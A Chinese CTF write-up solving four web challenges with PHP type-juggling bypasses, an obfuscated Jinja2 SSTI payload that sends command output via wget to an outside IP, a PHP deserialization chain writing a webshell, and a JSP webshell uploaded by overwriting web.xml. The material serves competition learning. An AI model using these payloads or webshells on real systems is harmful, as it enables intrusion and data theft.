2024“源鲁杯”高校网络安全技能大赛 WEB题解
执着于web安全研究 发表于 湖北 CTF 2122浏览 · 2024-10-12 08:33

Disal

查看源代码发现f1ag_is_here.php,提示看robots.txt发现f1ag.php
源代码如下

<?php 
show_source(__FILE__); 
include("flag_is_so_beautiful.php"); 
$a=@$_POST['a']; 
$key=@preg_match('/[a-zA-Z]{6}/',$a); 
$b=@$_REQUEST['b']; 

if($a>999999 and $key){ 
    echo $flag1; 
} 
if(is_numeric($b)){ 
    exit(); 
} 
if($b>1234){ 
    echo $flag2; 
} 
?>

首先a用十六进制绕过,b用弱比较绕过 传参
a=0xeeeeeeeeeeeeeeeeeeee&b=12345a

shxpl

题目过滤了很多很多符号,导致不能绕过关键词,由于ls被过滤
我们可以用find来查看目录下的文件名

find / -print

得到文件名字flag_8dGVrMvI
但是名字被过滤了,我们仍然读不了,可以用软链接目录来读

ln -s / /var/www/html/aaa

之后我们访问aaa/flag_8dGVrMvI即可得到flag

Injct

ssti并且过滤了print {{}} 那么只能用if语句来外带,同时测试发现禁用了curl那么我们用wget来外带
使用fenjing构造:

{%if(((((((((((lipsum|attr((lipsum|escape|batch(22)|list|first|last)*2+'globals'+(lipsum|escape|batch(22)|list|first|last)*2))|attr((lipsum|escape|batch(22)|list|first|last)*2+'getitem'+(lipsum|escape|batch(22)|list|first|last)*2))((lipsum|escape|batch(22)|list|first|last)*2+'builtins'+(lipsum|escape|batch(22)|list|first|last)*2))|attr((lipsum|escape|batch(22)|list|first|last)*2+'getitem'+(lipsum|escape|batch(22)|list|first|last)*2))(('e'+'v'+'a'+'l')))((lipsum|escape|batch(22)|list|first|last)*2+('i'+'m'+'p'+'o'+'r'+'t')+(lipsum|escape|batch(22)|list|first|last)*2))('os')|attr(('p'+'o'+'p'+'e'+'n')))((('%c'*34)%(119,103,101,116,32,49,50,52,46,50,50,48,46,51,55,46,49,55,51,58,50,51,51,51,47,96,99,97,116,32,47,102,42,96))))|attr('read'))()))%}{%endif%}

尝试手动构造:

{%if(lipsum|attr(('%c'%95)*2+'globals'+('%c'%95)*2)|attr(('%c'%95)*2+'getitem'+('%c'%95)*2)('os')|attr('%c%c%c%c%c'|format(112,111,112,101,110))('\\167\\147\\145\\164\\40\\150\\164\\164\\160\\72\\57\\57\\61\\62\\64\\56\\62\\62\\60\\56\\63\\67\\56\\61\\67\\63\\72\\62\\63\\63\\63\\57\\140\\154\\163\\140')|attr('read')())%}{%endif%}

pExpl

题目源码如下

<?php
error_reporting(0);


class FileHandler {
    private $fileHandle;
    private $fileName;

    public function __construct($fileName, $mode = 'r') {
        $this->fileName = $fileName;
        $this->fileHandle = fopen($fileName, $mode);
        if (!$this->fileHandle) {
            throw new Exception("Unable to open file: $fileName");
        }
        echo "File opened: $fileName\n";
    }

    public function readLine() {
        return fgets($this->fileHandle);
    }

    public function writeLine($data) {
        fwrite($this->fileHandle, $data . PHP_EOL);
    }

    public function __destruct() {
        if (file_exists($this->fileName) &&!empty($this->fileHandle)) {
            fclose($this->fileHandle);
            echo "File closed: {$this->fileName}\n";
        }
    }
}

class User {

    private $userData = [];

    public function __set($name, $value) {
        if ($name == 'password') {
            $value = password_hash($value, PASSWORD_DEFAULT);
        }
        $this->userData[$name] = $value;
    }

    public function __get($name) {
        return $this->userData[$name] ?? null;
    }

    public function __toString() {
        if(is_string($this->params) && is_array($this->data) && count($this->data) > 1){
            call_user_func($this->data,$this->params);
        }
        return "Hello";
    }

    public function __isset($name) {
        return isset($this->userData[$name]);
    }
}

class Logger {
    private $logFile;
    private $lastEntry;

    public function __construct($logFile = 'application.log') {
        $this->logFile = $logFile;
    }

    private function log($level, $message) {
        $this->lastEntry = "[" . date("Y-m-d H:i:s") . "] [$level] $message" . PHP_EOL;

        file_put_contents($this->logFile, $this->lastEntry, FILE_APPEND);
    }

    public function setLogFile($logFile) {
        $this->logFile = $logFile;
    }

    public function clearOldLogs($daysToKeep = 30) {
        $files = glob("*.log");
        $now = time();
        foreach ($files as $file) {
            if (is_file($file)) {
                if ($now - filemtime($file) >= 60 * 60 * 24 * $daysToKeep) {
                    unlink($file);
                }
            }
        }
    }

    public function __call($name, $arguments) {

        $validLevels = ['info', 'warning', 'error', 'debug'];
        if (in_array($name, $validLevels)) {
            $this->log(strtoupper($name), $arguments[0]);
        } else {
            throw new Exception("Invalid log level: $name");
        }
    }

    public function __invoke($message, $level = 'INFO') {
        $this->log($level, $message);
    }
}

if(isset($_GET['exp'])) {
    if(preg_match('/<\?php/i',$_GET['exp'])){
        exit;
    }
    $exp = unserialize($_GET['exp']);
    throw new Exception("Test!");
} else {
    highlight_file(__FILE__);
}

需要注意的是fileHandler变量是一个文件指针

我们借助call_user_func来调用类的方法info,不存在就会触发__call魔术方法,然后就会走到写文件的地方

class User {
    private $userData = [];
    public function __construct()
    {
        $a = new Logger('shell.php');
        $this->data = array($a,'info');
        $this->params = '<?=`$_GET[cmd]`;?>';
    }

}

最后由于禁用了<?php标签我们可以用短标签绕过
pop链如下

<?php
class FileHandler {
    private $fileHandle;
    private $fileName;
    public function __construct($fileName) {
        $this->fileName = $fileName;
        $this->fileHandle = &$this->fileName;
    }
}
class User {
    private $userData = [];
    public function __construct()
    {
        $a = new Logger('shell.php');
        $this->data = array($a,'info');
        $this->params = '<?=`$_GET[cmd]`;?>';
    }

}

class Logger {
    private $logFile;
    private $lastEntry;

    public function __construct($logFile = 'application.log') {
        $this->logFile = $logFile;
    }
}

$f = new FileHandler(new User);
echo urlencode(serialize($f));

?>

TOXEC

题目有个文件上传功能,不能上传jsp但可以上传xml,立马就想到了羊城杯结果还真一样
先上传一个xml文件,内容为jsp的回显马

<% if(request.getParameter("cmd")!=null){  
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();  
    int a = -1;  
    byte[] b = new byte[2048];  
    out.print("<pre>");  
    while((a=in.read(b))!=-1){  
        out.print(new String(b));  
    }  
    out.print("</pre>");  
}  

%>

注意上传路径为../WEB-INF/shell.xml

再上传web.xml进行覆盖,解析xml为jsp

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
    <servlet>
        <servlet-name>exec</servlet-name>
        <jsp-file>/WEB-INF/shell.xml</jsp-file>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>exec</servlet-name>
        <url-pattern>/exec</url-pattern>
    </servlet-mapping>
</web-app>

路径为../WEB-INF/web.xml

之后访问exec路径即可

0 条评论
某人
表情
可输入 255

没有评论

目录